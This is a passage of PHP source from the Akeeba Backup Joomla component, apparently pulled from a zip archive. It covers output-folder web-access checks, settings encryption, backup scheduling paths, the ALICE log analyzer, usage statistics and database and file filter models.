		if (substr($baseURL, -14) == '/administrator')
		{
			$baseURL = substr($baseURL, 0, -14);
		}

		$baseURL  = rtrim($baseURL, '/');
		$checkURL = $baseURL . '/' . $webPath . '/' . $checkFile;

		// Try to download the file's contents
		$options = [
			'follow_location'  => true,
			'transport.curl'   => [
				CURLOPT_SSL_VERIFYPEER => 0,
				CURLOPT_SSL_VERIFYHOST => 0,
				CURLOPT_FOLLOWLOCATION => 1,
				CURLOPT_TIMEOUT        => 10,
			],
			'transport.stream' => [
				'timeout' => 10,
			],
		];

		$adapters = [];

		if (CurlTransport::isSupported())
		{
			$adapters[] = 'Curl';
		}

		if (StreamTransport::isSupported())
		{
			$adapters[] = 'Stream';
		}

		if (empty($adapters))
		{
			return $ret;
		}

		$downloader = (new HttpFactory())->getHttp($options, $adapters);

		if ($downloader === false)
		{
			return $ret;
		}

		$response = $downloader->get($checkURL);
		$body     = (string) $response->getBody();

		if ($body === 'AKEEBA BACKUP WEB ACCESS CHECK')
		{
			$ret['readFile'] = true;
		}

		// Can I list the directory contents?
		$folderURL     = $baseURL . '/' . $webPath . '/';
		$folderListing = $downloader->get($folderURL)->body;

		@unlink($checkFilePath);

		if (!is_null($folderListing) && (strpos($folderListing, basename($checkFile, '.txt')) !== false))
		{
			$ret['listFolder'] = true;
		}

		return $ret;
	}

	/**
	 * Get the web path, relative to the site's root, for the output directory.
	 *
	 * Returns the relative path or NULL if determining it was not possible.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  string|null  The relative web path to the output directory
	 *
	 * @since   7.0.3
	 */
	public function getOutputDirectoryWebPath($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out its web path
		if ($outDir === false)
		{
			return null;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return null;
		}

		// The output directory is NOT under the site's root.
		if (strpos($outDir, $siteRoot) !== 0)
		{
			return null;
		}

		$relPath = trim(substr($outDir, strlen($siteRoot)), '/\\');
		$isWin   = DIRECTORY_SEPARATOR == '\\';

		if ($isWin)
		{
			$relPath = str_replace('\\', '/', $relPath);
		}

		return $relPath;
	}

	/**
	 * Get the semi-random name of a .txt file used to check the output folder's direct web access.
	 *
	 * If the file does not exist we will create it.
	 *
	 * Returns the file name or NULL if creating it was not possible.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  string|null  The base name of the check file
	 *
	 * @since   7.0.3
	 */
	public function getAccessCheckFile($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't put a file in it
		if ($outDir === false)
		{
			return null;
		}

		$secureSettings = Factory::getSecureSettings();
		$something      = hash('md5', $outDir . $secureSettings->getKey());
		$fileName       = 'akaccesscheck_' . $something . '.txt';
		$filePath       = $outDir . '/' . $fileName;

		$result = @file_put_contents($filePath, 'AKEEBA BACKUP WEB ACCESS CHECK');

		return ($result === false) ? null : $fileName;
	}

	/**
	 * Does the backup filename contain the [RANDOM] variable?
	 *
	 * @return  bool
	 *
	 * @since   7.0.3
	 */
	public function backupFilenameHasRandom()
	{
		$registry     = Factory::getConfiguration();
		$templateName = $registry->get('akeeba.basic.archive_name');

		return strpos($templateName, '[RANDOM]') !== false;
	}

	/**
	 * Return the configured output directory for the currently loaded backup profile
	 *
	 * @return  string
	 * @since   7.0.3
	 */
	public function getOutputDirectory()
	{
		$registry = Factory::getConfiguration();

		return $registry->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]', true);
	}

	/**
	 * Get the package ID of pkg_akeeba (Akeeba Backup 8), if it's still published.
	 *
	 * @return  int|null
	 *
	 * @throws  Exception
	 * @since   9.3.1
	 * @noinspection PhpUnused
	 */
	public function getAkeebaBackup8PackageId(): ?int
	{
		/** @var UpgradeModel $upgradeModel */
		$upgradeModel = $this->getMVCFactory()->createModel('Upgrade', 'Administrator');
		$upgradeModel->init();
		$id = $upgradeModel->getExtensionId('pkg_akeeba');

		if (empty($id))
		{
			return null;
		}

		try
		{
			$db    = $this->getDatabase();
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			            ->select($db->quoteName('enabled'))
			            ->from($db->quoteName('#__extensions'))
			            ->where($db->quoteName('extension_id') . ' = :eid')
			            ->bind(':eid', $id, ParameterType::INTEGER);

			return $db->setQuery($query)->loadResult() == 1 ? $id : null;
		}
		catch (Exception $e)
		{
			return null;
		}
	}

	/**
	 * Return the currently configured site root directory
	 *
	 * @return  string
	 * @since   7.0.3
	 */
	protected function getSiteRoot()
	{
		return Platform::getInstance()->get_site_root();
	}

	/**
	 * Return the list of system folders, relative to the site's root
	 *
	 * @return  array
	 * @since   7.0.3
	 */
	protected function getSystemFolders()
	{
		return self::$systemFolders;
	}

	/**
	 * Disables the encryption of profile settings. If the settings were already encrypted they are automatically
	 * decrypted.
	 *
	 * @return  void
	 */
	private function disableSettingsEncryption()
	{
		// Load the server key file if necessary

		$filename = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php';
		$key      = Factory::getSecureSettings()->getKey();

		// Get the profiles information
		$db       = $this->getDatabase();
		$query    = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('configuration'),
			])
			->from($db->qn('#__akeebabackup_profiles'));
		$profiles = $db->setQuery($query)->loadObjectList();

		// Loop all profiles and decrypt their settings
		foreach ($profiles as $profile)
		{
			$id     = $profile->id;
			$config = Factory::getSecureSettings()->decryptSettings($profile->configuration, $key);
			$sql    = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn('#__akeebabackup_profiles'))
				->set($db->qn('configuration') . ' = ' . $db->q($config))
				->where($db->qn('id') . ' = ' . $db->q($id));
			$db->setQuery($sql);
			$db->execute();
		}

		// Decrypt the Secret Word settings in the database
		$params = ComponentHelper::getParams('com_akeebabackup');
		SecretWord::enforceDecrypted($params, 'frontend_secret_word', $key);

		// Finally, remove the key file
		if (!@unlink($filename))
		{
			// File::delete($filename);
		}
	}

	/**
	 * Enable the encryption of profile settings. Existing settings are automatically encrypted.
	 *
	 * @return  void
	 */
	private function enableSettingsEncryption()
	{
		$key = $this->createSettingsKey();

		if (empty($key) || ($key == false))
		{
			return;
		}

		// Get the profiles information
		$db       = $this->getDatabase();
		$query    = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('configuration'),
			])
			->from($db->qn('#__akeebabackup_profiles'));
		$profiles = $db->setQuery($query)->loadObjectList();

		if (empty($profiles))
		{
			return;
		}

		// Loop all profiles and encrypt their settings
		foreach ($profiles as $profile)
		{
			$id     = $profile->id;
			$config = Factory::getSecureSettings()->encryptSettings($profile->configuration, $key);
			$sql    = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->update($db->qn('#__akeebabackup_profiles'))
				->set($db->qn('configuration') . ' = ' . $db->q($config))
				->where($db->qn('id') . ' = ' . $db->q($id));
			$db->setQuery($sql);
			$db->execute();
		}
	}

	/**
	 * Creates an encryption key for the settings and saves it in the <component>/BackupEngine/serverkey.php path
	 *
	 * @return  bool|string  FALSE on failure, the encryptions key otherwise
	 */
	private function createSettingsKey()
	{
		$rawKey = random_bytes(64);
		$key    = base64_encode($rawKey);

		$filecontents = "<?php defined('AKEEBAENGINE') or die(); define('AKEEBA_SERVERKEY', '$key'); ?>";
		$filename     = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php';

		$result = @file_put_contents($filename, $filecontents);

		if ($result === false)
		{
			// $result = File::write($filename, $filecontents);
		}

		if (!$result)
		{
			return false;
		}

		return $rawKey;
	}

	/**
	 * Do you have to issue a warning that setting the Download ID in the CORE edition has no effect?
	 *
	 * @return  bool  True if you need to show the warning
	 */
	public function mustWarnAboutDownloadIDInCore()
	{
		/** @var UpdatesModel $updateModel */
		$updateModel = $this->getMVCFactory()->createModel('Updates', 'Administrator');
		$isPro       = defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : 0;

		if ($isPro)
		{
			return false;
		}

		$dlid = $updateModel->sanitizeLicenseKey($updateModel->getLicenseKey());

		return $updateModel->isValidLicenseKey($dlid);
	}

	/**
	 * Does the user need to enter a Download ID in the component's Options page?
	 *
	 * @return  bool
	 */
	public function needsDownloadID()
	{
		/** @var UpdatesModel $updateModel */
		$updateModel = $this->getMVCFactory()->createModel('Updates', 'Administrator');

		// Do I need a Download ID?
		$isPro = defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : 0;

		if (!$isPro)
		{
			return false;
		}

		$dlid = $updateModel->sanitizeLicenseKey($updateModel->getLicenseKey());

		return !$updateModel->isValidLicenseKey($dlid);
	}
}PK     \C~b$  $    src/Model/ScheduleModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Akeeba\PHPFinder\PHPFinder;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

#[\AllowDynamicProperties]
class ScheduleModel extends BaseModel
{
	public function getPaths()
	{
		$ret = (object) [
			'cli'      => (object) [
				'supported' => false,
				'path'      => false,
			],
			'joomla'   => (object) [
				'supported' => false,
			],
			'altcli'   => (object) [
				'supported' => false,
				'path'      => false,
			],
			'frontend' => (object) [
				'supported' => false,
				'path'      => false,
			],
			'json'     => (object) [
				'supported' => false,
				'path'      => false,
			],
			'info'     => (object) [
				'windows'      => false,
				'php_accurate' => false,
				'php_path'     => false,
				'root_url'     => false,
				'secret'       => '',
				'jsonapi'      => false,
				'legacyapi'    => false,
			],
		];

		$currentProfileID = Platform::getInstance()->get_active_profile();
		$siteRoot         = rtrim(realpath(JPATH_ROOT), DIRECTORY_SEPARATOR);

		$ret->info->windows      = (DIRECTORY_SEPARATOR == '\\') || (substr(strtoupper(PHP_OS), 0, 3) == 'WIN');
		$ret->info->php_accurate = $this->getPhpPath() !== null;
		$ret->info->php_path     = $this->getPhpPath() ?? ($ret->info->windows ? 'c:\path\to\php.exe' : '/path/to/php');
		$ret->info->root_url     = rtrim(Uri::root(false), '/');
		$ret->info->secret       = Platform::getInstance()->get_platform_configuration_option(
			'frontend_secret_word', ''
		);
		$ret->info->jsonapi      = Platform::getInstance()->get_platform_configuration_option('jsonapi_enabled', '');
		$ret->info->legacyapi    = Platform::getInstance()->get_platform_configuration_option('legacyapi_enabled', '');

		// Get information for Joomla Scheduled Tasks
		$ret->joomla->supported = version_compare(JVERSION, '4.1.0', 'ge')
		                          && PluginHelper::isEnabled(
				'task', 'akeebabackup'
			);

		// Get information for CLI CRON script
		$ret->cli->supported = true;
		$ret->cli->path      = implode(DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:take']);

		if ($currentProfileID != 1)
		{
			$ret->cli->path .= ' --profile=' . $currentProfileID;
		}

		// Get information for alternative CLI CRON script
		$ret->altcli->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret))
		{
			$ret->altcli->path = implode(DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:alternate']);

			if ($currentProfileID != 1)
			{
				$ret->altcli->path .= ' --profile=' . $currentProfileID;
			}
		}

		// Get information for front-end backup
		$ret->frontend->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret) && $ret->info->legacyapi)
		{
			$ret->frontend->path = 'index.php?option=com_akeebabackup&view=backup&key='
			                       . urlencode($ret->info->secret);

			if ($currentProfileID != 1)
			{
				$ret->frontend->path .= '&profile=' . $currentProfileID;
			}

			$ret->frontend->path = Route::link(
				'site',
				$ret->frontend->path,
				false,
				Factory::getApplication()->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE,
				true
			);
		}

		// Get information for JSON API backups
		$ret->json->supported = $ret->info->jsonapi;
		$ret->json->path      = 'index.php?option=com_akeebabackup&view=api&format=raw';

		$ret->json->path = Route::link(
			'site',
			$ret->json->path,
			false,
			Factory::getApplication()->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE,
			true
		);

		return $ret;
	}

	public function getCheckPaths()
	{
		$ret = (object) [
			'cli'      => (object) [
				'supported' => false,
				'path'      => false,
			],
			'altcli'   => (object) [
				'supported' => false,
				'path'      => false,
			],
			'frontend' => (object) [
				'supported' => false,
				'path'      => false,
			],
			'info'     => (object) [
				'windows'      => false,
				'php_accurate' => false,
				'php_path'     => false,
				'root_url'     => false,
				'secret'       => '',
				'jsonapi'      => false,
				'legacyapi'    => false,
			],
		];

		$currentProfileID = Platform::getInstance()->get_active_profile();
		$siteRoot         = rtrim(realpath(JPATH_ROOT), DIRECTORY_SEPARATOR);

		$ret->info->windows      = (DIRECTORY_SEPARATOR == '\\') || (substr(strtoupper(PHP_OS), 0, 3) == 'WIN');
		$ret->info->php_accurate = $this->getPhpPath() !== null;
		$ret->info->php_path     = $this->getPhpPath() ??
		                           ($ret->info->windows ? 'c:\path\to\php.exe' : '/path/to/php');;
		$ret->info->root_url  = rtrim(Uri::root(false), '/');
		$ret->info->secret    = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');
		$ret->info->jsonapi   = Platform::getInstance()->get_platform_configuration_option('jsonapi_enabled', '');
		$ret->info->legacyapi = Platform::getInstance()->get_platform_configuration_option('legacyapi_enabled', '');

		// Get information for CLI CRON script
		$ret->cli->supported = true;
		$ret->cli->path      = implode(DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:check']);

		// Get information for alternative CLI CRON script
		$ret->altcli->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret))
		{
			$ret->altcli->path = implode(
				DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:alternate_check']
			);
		}

		// Get information for front-end backup
		$ret->frontend->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret) && $ret->info->legacyapi)
		{
			$ret->frontend->path = 'index.php?option=com_akeebabackup&view=check&key='
			                       . urlencode($ret->info->secret);

			$ret->frontend->path = Route::link(
				'site',
				$ret->frontend->path,
				false,
				Factory::getApplication()->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE,
				true
			);
		}

		return $ret;
	}
	public function getUploadcheckPaths()
	{
		$ret = (object) [
			'cli'      => (object) [
				'supported' => false,
				'path'      => false,
			],
			'altcli'   => (object) [
				'supported' => false,
				'path'      => false,
			],
			'frontend' => (object) [
				'supported' => false,
				'path'      => false,
			],
			'info'     => (object) [
				'windows'      => false,
				'php_accurate' => false,
				'php_path'     => false,
				'root_url'     => false,
				'secret'       => '',
				'jsonapi'      => false,
				'legacyapi'    => false,
			],
		];

		$currentProfileID = Platform::getInstance()->get_active_profile();
		$siteRoot         = rtrim(realpath(JPATH_ROOT), DIRECTORY_SEPARATOR);

		$ret->info->windows      = (DIRECTORY_SEPARATOR == '\\') || (substr(strtoupper(PHP_OS), 0, 3) == 'WIN');
		$ret->info->php_accurate = $this->getPhpPath() !== null;
		$ret->info->php_path     = $this->getPhpPath() ??
		                           ($ret->info->windows ? 'c:\path\to\php.exe' : '/path/to/php');;
		$ret->info->root_url  = rtrim(Uri::root(false), '/');
		$ret->info->secret    = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');
		$ret->info->jsonapi   = Platform::getInstance()->get_platform_configuration_option('jsonapi_enabled', '');
		$ret->info->legacyapi = Platform::getInstance()->get_platform_configuration_option('legacyapi_enabled', '');

		// Get information for CLI CRON script
		$ret->cli->supported = true;
		$ret->cli->path      = implode(DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:check:upload']);

		// Get information for alternative CLI CRON script
		$ret->altcli->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret))
		{
			$ret->altcli->path = implode(
				DIRECTORY_SEPARATOR, [$siteRoot, 'cli', 'joomla.php akeeba:backup:alternate_check:upload']
			);
		}

		// Get information for front-end backup
		$ret->frontend->supported = $ret->info->legacyapi;

		if (trim($ret->info->secret) && $ret->info->legacyapi)
		{
			$ret->frontend->path = 'index.php?option=com_akeebabackup&view=Checkupload&key='
			                       . urlencode($ret->info->secret);

			$ret->frontend->path = Route::link(
				'site',
				$ret->frontend->path,
				false,
				Factory::getApplication()->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE,
				true
			);
		}

		return $ret;
	}

	private function getPhpPath($component = 'com_akeebabackup'): ?string
	{
		static $phpPath = null;

		$cParams     = ComponentHelper::getComponent($component)->getParams();
		$tryAccurate = $cParams->get('accurate_php_cli', 1) == 1;

		if (!$tryAccurate)
		{
			return $phpPath = null;
		}

		$paramsService = Factory::getApplication()
			->bootComponent($component)
			->getComponentParametersService();

		$cParams->set('accurate_php_cli', 0);
		$paramsService->save($cParams);

		$phpPath ??= PHPFinder::make()->getBestPath(PHP_VERSION);

		$cParams->set('accurate_php_cli', 1);
		$paramsService->save($cParams);

		return $phpPath;
	}
}PK     \ S      src/Model/AliceModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') or die;

use Akeeba\Alice\Check\Base;
use Akeeba\Engine\Core\Timer;
use Akeeba\Engine\Factory;
use DirectoryIterator;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

#[\AllowDynamicProperties]
class AliceModel extends BaseDatabaseModel
{
	protected static $stateVars = [
		'log', 'logToAnalyze', 'checks', 'totalChecks', 'doneChecks', 'currentSection', 'currentCheck', 'aliceError',
		'aliceWarnings', 'aliceException',
	];

	/**
	 * Resets the ALICE engine.
	 *
	 * Stores the absolute filesystem path to the log being analyzed and the list of checks to perform in the model
	 * state. Moreover, it resets the list of errors and warnings. This information persists in the user session.
	 *
	 * @param   string  $log  The tag of the log being analyzed
	 */
	public function reset(string $log)
	{
		/**
		 * Do not remove. This is required to run populateState once before we reset the session. Otherwise no state
		 * variable will be saved in the session.
		 */
		$this->getState();

		// Absolute filesystem path to the log being analyzed
		$logFile = Factory::getLog()->getLogFilename($log);

		$this->setState('log', $log);
		$this->setState('logToAnalyze', $logFile);
		// List of checks we need to run
		$checks = [
			'Requirements'  => $this->getChecksFor('Requirements'),
			'Filesystem'    => $this->getChecksFor('Filesystem'),
			'Runtimeerrors' => $this->getChecksFor('Runtimeerrors'),
		];
		$this->setState('checks', $checks);
		$this->setState('totalChecks', $this->countChecks($checks));
		$this->setState('doneChecks', 0);
		$this->setState('currentSection', '');
		$this->setState('currentCheck', '');
		$this->setState('aliceError', []);
		$this->setState('aliceWarnings', []);
		$this->setState('aliceException', null);
	}

	public function analyze(Timer $timer): bool
	{
		$logPath      = $this->getState('logToAnalyze');
		$requiredTime = 0.5;

		while ($timer->getTimeLeft() > $requiredTime)
		{
			// Mark the start of timing this check
			$start = microtime(true);

			/** @var array $checks */
			$checks = $this->getState('checks', []);

			// Are we all done?
			if (empty($checks))
			{
				return true;
			}

			$sections       = array_keys($checks);
			$currentSection = $sections[0];
			$this->setState('section', $currentSection);

			// All checks for this section are done. Go to the next section.
			if (empty($checks[$currentSection]))
			{
				unset($checks[$currentSection]);

				$this->setState('checks', $checks);

				continue;
			}

			$this->setState('currentSection', Text::_('COM_AKEEBABACKUP_ALICE_ANALYZE_' . $currentSection));

			// Get and run the next check
			$checkClass = array_shift($checks[$currentSection]);

			$this->setState('checks', $checks);

			/** @var Base $check */
			$check = new $checkClass($logPath, $this->getDatabase());
			$this->setState('currentCheck', Text::_($check->getCheckLanguageKey()));
			$this->setState('doneChecks', $this->getState('doneChecks') + 1);

			$check->check();

			switch ($check->getResult())
			{
				case 1:
					// Success. No action.
					break;

				case 0:
					// Warning.
					$warnings   = $this->getState('aliceWarnings', []);
					$warnings[] = [
						'message'  => $this->translate($check->getErrorLanguageKey()),
						'solution' => $check->getSolution(),
					];
					$this->setState('aliceWarnings', $warnings);
					break;

				case -1:
					// Error. Set the state and return immediately.
					$this->setState('aliceError', [
						'message'  => $this->translate($check->getErrorLanguageKey()),
						'solution' => $check->getSolution(),
					]);

					return true;
					break;
			}

			// Mark the end of timing this step
			$end          = microtime(true);
			$requiredTime = max($requiredTime, $end - $start);
		}

		return false;
	}

	public function saveStateToSession()
	{
		/** @var CMSApplication $app */
		$app     = JoomlaFactory::getApplication();
		$session = $app->getSession();

		foreach (self::$stateVars as $stateVar)
		{
			$v = $this->getState($stateVar);

			if (is_null($v))
			{
				$session->remove('akeebabackup.' . $stateVar);

				continue;
			}

			$session->set('akeebabackup.' . $stateVar, $v);
		}
	}

	protected function populateState()
	{
		/** @var CMSApplication $app */
		$app     = JoomlaFactory::getApplication();
		$session = $app->getSession();

		foreach (self::$stateVars as $stateVar)
		{
			$this->setState($stateVar, $session->get('akeebabackup.' . $stateVar));
		}
	}

	/**
	 * Returns an array of fully qualified class names for the checks for a given section.
	 *
	 * The checks are ordered by their priority ascending. A list of classnames is returned.
	 *
	 * @param   string  $section  The section you want to get the checks for
	 *
	 * @return  string[]
	 */
	private function getChecksFor(string $section): array
	{
		$path      = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/AliceChecks/Check/' . $section;
		$namespace = 'Akeeba\\Alice\\Check\\' . $section;
		$checks    = [];

		$di = new DirectoryIterator($path);

		foreach ($di as $file)
		{
			if ($di->isDot() || !$di->isFile())
			{
				continue;
			}

			if ($di->getExtension() != 'php')
			{
				continue;
			}

			$basename  = $di->getBasename('.php');
			$classname = $namespace . '\\' . $basename;

			if (!class_exists($classname))
			{
				continue;
			}

			/** @var Base $checkObject */
			$checkObject        = new $classname('', $this->getDatabase());
			$checks[$classname] = $checkObject->getPriority();
		}

		asort($checks);

		return array_keys($checks);
	}

	/**
	 * Produces the total count of checks to perform
	 *
	 * @param   array  $checks  The list of checks to perform
	 *
	 * @return  int  How many checks there are
	 */
	private function countChecks(array $checks): int
	{
		$count = 0;

		foreach ($checks as $section => $sectionChecks)
		{
			$count += is_array($sectionChecks) || $sectionChecks instanceof \Countable ? count($sectionChecks) : 0;
		}

		return $count;
	}

	/**
	 * Translate an error definition.
	 *
	 * The error definition is an array. The first item (position 0) is the language key. Any further items are
	 * sprintf() parameters.
	 *
	 * @param   array  $errorDefinition
	 *
	 * @return  string
	 */
	private function translate(array $errorDefinition): string
	{
		if (empty($errorDefinition))
		{
			return '';
		}

		if (count($errorDefinition) == 1)
		{
			return nl2br(Text::_($errorDefinition[0]));
		}

		return nl2br(call_user_func_array([Text::class, 'sprintf'], $errorDefinition));
	}

}PK     \^       src/Model/UsagestatsModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\UsageStats\Collector\Constants\SoftwareType;
use Akeeba\UsageStats\Collector\StatsCollector;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

#[\AllowDynamicProperties]
class UsagestatsModel extends BaseDatabaseModel
{
	/**
	 * Send site information to the remove collection service
	 *
	 * @return  bool
	 */
	public function collectStatistics()
	{
		$params = ComponentHelper::getParams('com_akeebabackup');

		// Is data collection turned off?
		if (!$params->get('stats_enabled', 1))
		{
			return false;
		}

		// Make sure the autoloader for our Composer dependencies is loaded.
		if (!class_exists(StatsCollector::class))
		{
			try
			{
				require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';
			}
			catch (\Throwable $e)
			{
				return false;
			}
		}
		// Usage stats collection class is undefined, we cannot continue
		if (!class_exists(StatsCollector::class, false))
		{
			return false;
		}

		if (!defined('AKEEBABACKUP_VERSION'))
		{
			@include_once __DIR__ . '/../../version.php';
		}

		if (!defined('AKEEBABACKUP_VERSION'))
		{
			define('AKEEBABACKUP_VERSION', 'dev');
			define('AKEEBABACKUP_DATE', date('Y-m-d'));
		}

		try
		{
			(new StatsCollector(
				SoftwareType::AB_JOOMLA_CORE,
				AKEEBABACKUP_VERSION,
				defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : false
			))->conditionalSendStatistics();
		}
		catch (\Throwable $e)
		{
			return false;
		}

		return true;
	}
}PK     \4 _  _  '  src/Model/RegexdatabasefiltersModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelExclusionFilterTrait;
use Akeeba\Engine\Factory;

#[\AllowDynamicProperties]
class RegexdatabasefiltersModel extends \Joomla\CMS\MVC\Model\BaseModel
{
	use ModelExclusionFilterTrait;

	/**
	 * Which RegEx filters are handled by this model?
	 *
	 * @var  array
	 */
	protected $knownRegExFilters = [
		'regextables',
		'regextabledata',
	];

	/**
	 * Returns an array containing a list of regex filters and their respective type for a given root
	 *
	 * @param   string  $root  The database root to list
	 *
	 * @return  array  Array of definitions
	 */
	public function get_regex_filters($root)
	{
		// Filters already set
		$set_filters = [];

		// Loop all filter types
		foreach ($this->knownRegExFilters as $filter_name)
		{
			// Get this filter type's set filters
			$filter       = Factory::getFilterObject($filter_name);
			$temp_filters = $filter->getFilters($root);

			// Merge this filter type's regular expressions to the list
			if (
				(is_array($temp_filters) || $temp_filters instanceof \Countable)
					? count($temp_filters)
					: 0
			)
			{
				foreach ($temp_filters as $new_regex)
				{
					$set_filters[] = [
						'type' => $filter_name,
						'item' => $new_regex,
					];
				}
			}
		}

		return $set_filters;
	}

	/**
	 * Delete a regex filter
	 *
	 * @param   string  $type    Filter type
	 * @param   string  $root    The filter's root
	 * @param   string  $string  The filter string to remove
	 *
	 * @return  bool  True on success
	 */
	public function remove($type, $root, $string)
	{
		$ret = $this->applyExclusionFilter($type, $root, $string, 'remove');

		return $ret['success'];
	}

	/**
	 * Creates a new regex filter
	 *
	 * @param   string  $type    Filter type
	 * @param   string  $root    The filter's root
	 * @param   string  $string  The filter string to remove
	 *
	 * @return  bool  True on success
	 */
	public function setFilter($type, $root, $string)
	{
		$ret = $this->applyExclusionFilter($type, $root, $string, 'set');

		return $ret['success'];
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax()
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', $action) ? $action['verb'] : null;

		$ret_array = [];

		switch ($verb)
		{
			// Produce a list of regex filters
			case 'list':
				$ret_array = [
					'list' => $this->get_regex_filters($action['root'])
				];
				break;

			// Set a filter (used by the editor)
			case 'set':
				$ret_array = ['success' => $this->setFilter($action['type'], $action['root'], $action['node'])];
				break;

			// Remove a filter (used by the editor)
			case 'remove':
				$ret_array = ['success' => $this->remove($action['type'], $action['root'], $action['node'])];
				break;
		}

		return $ret_array;
	}

}PK     \/  /    src/Model/FilefiltersModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelExclusionFilterTrait;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use InvalidArgumentException;
use Joomla\CMS\MVC\Model\BaseModel;

#[\AllowDynamicProperties]
class FilefiltersModel extends BaseModel
{
	use ModelExclusionFilterTrait;

	public function __construct($config = [])
	{
		parent::__construct($config);

		$this->knownFilterTypes = ['directories', 'files', 'skipdirs', 'skipfiles'];
	}

	/**
	 * Returns an array with the listing and filter status of a directory
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Breadcrumbs in array format, defining the parent directory
	 * @param   string  $child   The child directory we want to scan
	 *
	 * @return  array
	 */
	public function makeListing(string $root, array $crumbs = [], string $child = ''): array
	{
		// Construct the full node
		$node = $this->glueCrumbs($crumbs, $child);

		// Create the new crumbs
		if (!is_array($crumbs))
		{
			$crumbs = [];
		}

		if (!empty($child))
		{
			$crumbs[] = $child;
		}

		// Get listing with the filter info
		$listing = $this->getListing($root, $node);

		// Assemble the array
		$listing['root']   = $root;
		$listing['crumbs'] = $crumbs;

		return $listing;
	}

	/**
	 * Toggle a filter
	 *
	 * @param   string  $root    Root directory
	 * @param   array   $crumbs  Components of the current directory relative to the root
	 * @param   string  $item    The child item of the current directory we want to toggle the filter for
	 * @param   string  $filter  The name of the filter to apply (directories, skipfiles, skipdirs, files)
	 *
	 * @return  array
	 */
